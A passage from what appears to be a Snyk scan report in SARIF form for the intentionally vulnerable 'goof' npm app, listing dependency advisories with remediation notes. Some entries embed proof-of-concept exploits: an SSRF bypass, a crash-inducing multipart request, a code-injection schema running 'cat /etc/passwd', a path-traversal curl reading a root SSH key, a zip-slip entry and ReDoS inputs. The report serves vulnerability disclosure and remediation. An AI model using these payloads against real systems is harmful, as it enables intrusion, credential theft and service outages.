Commit](https://github.com/juju/juju/commit/da929676853092a29ddf8d589468cf85ba3efaf2)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-PARSEURL-2936249", + "shortDescription": { + "text": "Critical severity - Server-side Request Forgery (SSRF) vulnerability in parse-url" + }, + "fullDescription": { + "text": "(CVE-2022-2216) parse-url@5.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: parse-url\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › git-url-parse@11.1.2 › git-up@4.0.1 › parse-url@5.0.1\n# Overview\n[parse-url](https://www.npmjs.org/package/parse-url) is an An advanced url parser supporting git urls too.\n\nAffected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the `parseUrl ` function, due to mishandling hostnames when processing usernames and passwords.\r\n\r\n# PoC:\r\n\r\n\r\n```js\r\nconst parseUrl = require(\"parse-url\");\r\nconst express = require('express');\r\nconst http = require('http');\r\nconst app = express();\r\n\r\nconst isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1' ? true:false)\r\n ? next()\r\n : res.json({'state':'You\\'re not locally'});\r\n\r\nparsed = parseUrl(\"http://google:com:@@127.0.0.1:9999/ssrf_check\");\r\nconsole.log(parsed);\r\n\r\napp.get('/', (req, res) => {\r\n if(parsed.resource == '127.0.0.1'){\r\n res.send('Not good');\r\n } else{\r\n http.get(parsed.href)\r\n res.send('Good');\r\n }\r\n});\r\n\r\napp.get('/ssrf_check', isLocal(), (req, res) =>{\r\n console.log('ssrf bypass');\r\n res.send(true);\r\n});\r\n\r\napp.listen(9999);\r\n```\n# Remediation\nUpgrade `parse-url` to version 6.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)\n- [GitHub PR](https://github.com/IonicaBizau/parse-url/pull/37)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-918", + "npm" + ], + "cvssv3_baseScore": 9.4, + "security-severity": "9.4" + } + }, + { + "id": "SNYK-JS-JSYAML-174129", + "shortDescription": { + "text": "High severity - Arbitrary Code Execution vulnerability in js-yaml" + }, + "fullDescription": { + "text": "js-yaml@3.6.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: js-yaml\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › js-yaml@3.6.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › js-yaml@3.6.1\n# Overview\n[js-yaml](https://www.npmjs.com/package/js-yaml) is a human-friendly data serialization language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable `toString()` property used as a map key, it will execute that function. This happens only for `load()`, which should not be used with untrusted data anyway. `safeLoad()` is not affected because it can't parse functions.\n# Remediation\nUpgrade `js-yaml` to version 3.13.1 or higher.\n# References\n- [GitHub Commit](https://github.com/nodeca/js-yaml/pull/480/commits/e18afbf1edcafb7add2c4c7b22abc8d6ebc2fa61)\n- [GitHub PR](https://github.com/nodeca/js-yaml/pull/480)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/813)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 8.1, + "security-severity": "8.1" + } + }, + { + "id": "SNYK-JS-DICER-2311764", + "shortDescription": { + "text": "High severity - Denial of Service (DoS) vulnerability in dicer" + }, + "fullDescription": { + "text": "(CVE-2022-24434) dicer@0.3.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: dicer\n* Introduced through: goof@1.0.1, express-fileupload@0.0.5 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express-fileupload@0.0.5 › connect-busboy@0.0.2 › busboy@0.3.1 › dicer@0.3.0\n# Overview\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.\r\n\r\n# PoC:\r\n```js\r\n fetch('form-image', {\r\n method: 'POST',\r\n headers: {\r\n ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',\r\n ['content-length']: '145',\r\n host: '127.0.0.1:8000',\r\n connection: 'keep-alive',\r\n },\r\n body: '------WebKitFormBoundaryoo6vortfDzBsDiro\\r\\n Content-Disposition: form-data; name=\"bildbeschreibung\"\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryoo6vortfDzBsDiro--'\r\n });\r\n```\n# Remediation\nThere is no fixed version for `dicer`.\n\n# References\n- [GitHub Commit](https://github.com/mscdex/dicer/pull/22/commits/b7fca2e93e8e9d4439d8acc5c02f5e54a0112dac)\n- [GitHub Issue](https://github.com/mscdex/busboy/issues/250)\n- [GitHub PR](https://github.com/mscdex/dicer/pull/22)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-ISMYJSONVALID-597167", + "shortDescription": { + "text": "High severity - Arbitrary Code Execution vulnerability in is-my-json-valid" + }, + "fullDescription": { + "text": "is-my-json-valid@2.19.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: is-my-json-valid\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › har-validator@2.0.6 › is-my-json-valid@2.19.0\n# Overview\n[is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) is a JSONSchema / orderly validator that uses code generation to be extremely fast.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution via the `formatName` function.\r\n\r\n#PoC\r\n```const validator = require('is-my-json-valid')\r\nconst schema = {\r\n type: 'object',\r\n properties: {\r\n 'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {\r\n required: true,\r\n type:'string'\r\n }\r\n },\r\n}\r\nvar validate = validator(schema);\r\nvalidate({})\r\n```\n# Remediation\nUpgrade `is-my-json-valid` to version 2.20.3 or higher.\n# References\n- [GitHub Commit](https://github.com/mafintosh/is-my-json-valid/commit/3419563687df463b4ca709a2b46be8e15d6a2b3d)\n- [HackerOne Report](https://hackerone.com/reports/894308)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "npm:st:20171013", + "shortDescription": { + "text": "Medium severity - Open Redirect vulnerability in st" + }, + "fullDescription": { + "text": "(CVE-2017-16224) st@0.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: st\n* Introduced through: goof@1.0.1 and st@0.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › st@0.2.4\n# Overview\n[`st`](https://www.npmjs.com/package/st) is a module for serving static files.\n\nAffected versions of this package are vulnerable to Open Redirect. A malicious user could send a specially crafted request, which would automatically redirect the request to another domain, controlled by the attacker.\n\n**Note:** `st` will only redirect if requests are served from the root(`/`) and not from a subdirectory\n\n# References\n- [GitHub Commit](https://github.com/isaacs/st/commit/579960c629f12a27428e2da84c54f517e37b0a16)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-601", + "npm" + ], + "cvssv3_baseScore": 4.3, + "security-severity": "4.3" + } + }, + { + "id": "SNYK-JS-PARSEPATH-2936439", + "shortDescription": { + "text": "High severity - Authorization Bypass Through User-Controlled Key vulnerability in parse-path" + }, + "fullDescription": { + "text": "(CVE-2022-0624) parse-path@4.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: parse-path\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › git-url-parse@11.1.2 › git-up@4.0.1 › parse-url@5.0.1 › parse-path@4.0.1\n# Overview\n[parse-path](https://www.npmjs.org/package/parse-path) is a Parse paths (local paths, urls: ssh/git/etc)\n\nAffected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key which is unable to detect the right resource.\n# Remediation\nUpgrade `parse-path` to version 5.0.0 or higher.\n# References\n- [GitHub Commit](https://github.com/ionicabizau/parse-path/commit/f9ad8856a3c8ae18e1cf4caef5edbabbc42840e8)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-639", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-PARSEURL-2935944", + "shortDescription": { + "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in parse-url" + }, + "fullDescription": { + "text": "(CVE-2022-2217) parse-url@5.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: parse-url\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › git-url-parse@11.1.2 › git-up@4.0.1 › parse-url@5.0.1\n# Overview\n[parse-url](https://www.npmjs.org/package/parse-url) is an An advanced url parser supporting git urls too.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of special characters for ASCII that start with `\\x` and also for all Unicodes start with `\\u`.\r\n\r\n# PoC:\r\n\r\n```js\r\nconst http = require(\"http\");\r\nconst parseUrl = require(\"parse-url\");\r\nconst url = parseUrl('jav\\u000Dascript://%0aalert(1)');\r\nconsole.log(url)\r\nconst server = http.createServer((request, response) => {\r\n response.writeHead(200);\r\n if (url.scheme !== \"javascript\" && url.scheme !== null) {\r\n response.end(\"Wowww!\" );\r\n }\r\n else{\r\n response.end(\"Nooo!\");\r\n }\r\n});\r\nserver.listen(80, \"127.0.0.1\",function(){\r\n console.log(\"http://\"+this.address().address+\":\"+this.address().port);\r\n});\r\n```\n# Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `parse-url` to version 6.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)\n- [GitHub PR](https://github.com/IonicaBizau/parse-url/pull/37)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 5.4, + "security-severity": "5.4" + } + }, + { + "id": "SNYK-JS-ASYNC-12239908", + "shortDescription": { + "text": "High severity - Directory Traversal vulnerability in async" + }, + "fullDescription": { + "text": "(CVE-2024-39249) async@1.5.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: async\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › async@1.5.2\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › async@1.5.2\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5 › async@1.5.2\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › async@0.9.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › form-data@0.1.4 › async@0.9.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5 › uglify-js@2.6.2 › async@0.2.10\n# Overview\n\nAffected versions of this package are vulnerable to Directory Traversal. Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function.\n\n# Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n# Remediation\nUpgrade `async` to version or higher.\n# References\n- [Vulnerable Code](https://github.com/caolan/async/blob/v3.2.5/lib/autoInject.js#L41)\n- [Vulnerable Code](https://github.com/caolan/async/blob/v3.2.5/lib/autoInject.js#L6)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-22", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-LODASH-1018905", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2020-28500) lodash@4.17.15" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/ruby-semver@2.0.4 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › dotnet-deps-parser@4.9.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-php-plugin@1.7.0 › @snyk/composer-lockfile-parser@1.2.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions.\r\n\r\n## POC\r\n```\r\nvar lo = require('lodash');\r\n\r\nfunction build_blank (n) {\r\nvar ret = \"1\"\r\nfor (var i = 0; i < n; i++) {\r\nret += \" \"\r\n}\r\n\r\nreturn ret + \"1\";\r\n}\r\n\r\nvar s = build_blank(50000)\r\nvar time0 = Date.now();\r\nlo.trim(s)\r\nvar time_cost0 = Date.now() - time0;\r\nconsole.log(\"time_cost0: \" + time_cost0)\r\n\r\nvar time1 = Date.now();\r\nlo.toNumber(s)\r\nvar time_cost1 = Date.now() - time1;\r\nconsole.log(\"time_cost1: \" + time_cost1)\r\n\r\nvar time2 = Date.now();\r\nlo.trimEnd(s)\r\nvar time_cost2 = Date.now() - time2;\r\nconsole.log(\"time_cost2: \" + time_cost2)\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `lodash` to version 4.17.21 or higher.\n# References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a)\n- [GitHub Fix PR](https://github.com/lodash/lodash/pull/5065)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "npm:tunnel-agent:20170305", + "shortDescription": { + "text": "Medium severity - Uninitialized Memory Exposure vulnerability in tunnel-agent" + }, + "fullDescription": { + "text": "tunnel-agent@0.4.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: tunnel-agent\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › tunnel-agent@0.4.3\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › tunnel-agent@0.4.3\n# Overview\r\n[`tunnel-agent`](https://www.npmjs.com/package/tunnel-agent) is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure. \r\n\r\nA possible memory disclosure vulnerability exists when a value of type `number` is used to set the _proxy.auth_ option of a request `request` and results in a possible uninitialized memory exposures in the request body.\r\n\r\nThis is a result of unobstructed use of the `Buffer` constructor, whose [insecure default constructor increases the odds of memory leakage](https://snyk.io/blog/exploiting-buffer/).\r\n\r\n# Details\r\nConstructing a `Buffer` class with integer `N` creates a `Buffer` of length `N` with raw (not \"zero-ed\") memory.\r\n\r\nIn the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string \"100\":\r\n```js\r\n// uninitialized Buffer of length 100\r\nx = new Buffer(100);\r\n// initialized Buffer with value of '100'\r\nx = new Buffer('100');\r\n```\r\n\r\n`tunnel-agent`'s `request` construction uses the default `Buffer` constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous [`Heartbleed`](http://heartbleed.com/) flaw in OpenSSL.\r\n\r\n## Proof of concept by ChALkeR\r\n```js\r\nrequire('request')({\r\n method: 'GET',\r\n uri: 'http://www.example.com',\r\n tunnel: true,\r\n proxy:{\r\n protocol: 'http:',\r\n host:\"127.0.0.1\",\r\n port:8080,\r\n auth:80\r\n }\r\n});\r\n```\r\n\r\nYou can read more about the insecure `Buffer` behavior [on our blog](https://snyk.io/blog/exploiting-buffer/).\r\n\r\nSimilar vulnerabilities were discovered in [request](https://snyk.io/vuln/npm:request:20160119), [mongoose](https://snyk.io/vuln/npm:mongoose:20160116), [ws](https://snyk.io/vuln/npm:ws:20160104) and [sequelize](https://snyk.io/vuln/npm:sequelize:20160115).\r\n\r\n# Remediation\r\nUpgrade `tunnel-agent` to version 0.6.0 or higher.\r\n**Note** This is vulnerable only for Node <=4\n\n# References\n- [https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0](https://github.com/request/tunnel-agent/commit/9ca95ec7219daface8a6fc2674000653de0922c0)\n- [https://gist.github.com/ChALkeR/fd6b2c445834244e7d440a043f9d2ff4](https://gist.github.com/ChALkeR/fd6b2c445834244e7d440a043f9d2ff4)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-201", + "npm" + ], + "cvssv3_baseScore": 5.1, + "security-severity": "5.1" + } + }, + { + "id": "SNYK-JS-LODASH-18314748", + "shortDescription": { + "text": "Medium severity - Allocation of Resources Without Limits or Throttling vulnerability in lodash" + }, + "fullDescription": { + "text": "lodash@4.17.15" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/ruby-semver@2.0.4 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-php-plugin@1.7.0 › @snyk/composer-lockfile-parser@1.2.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › dotnet-deps-parser@4.9.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. Bulk Upload test\n# Remediation\nUpgrade `lodash` to 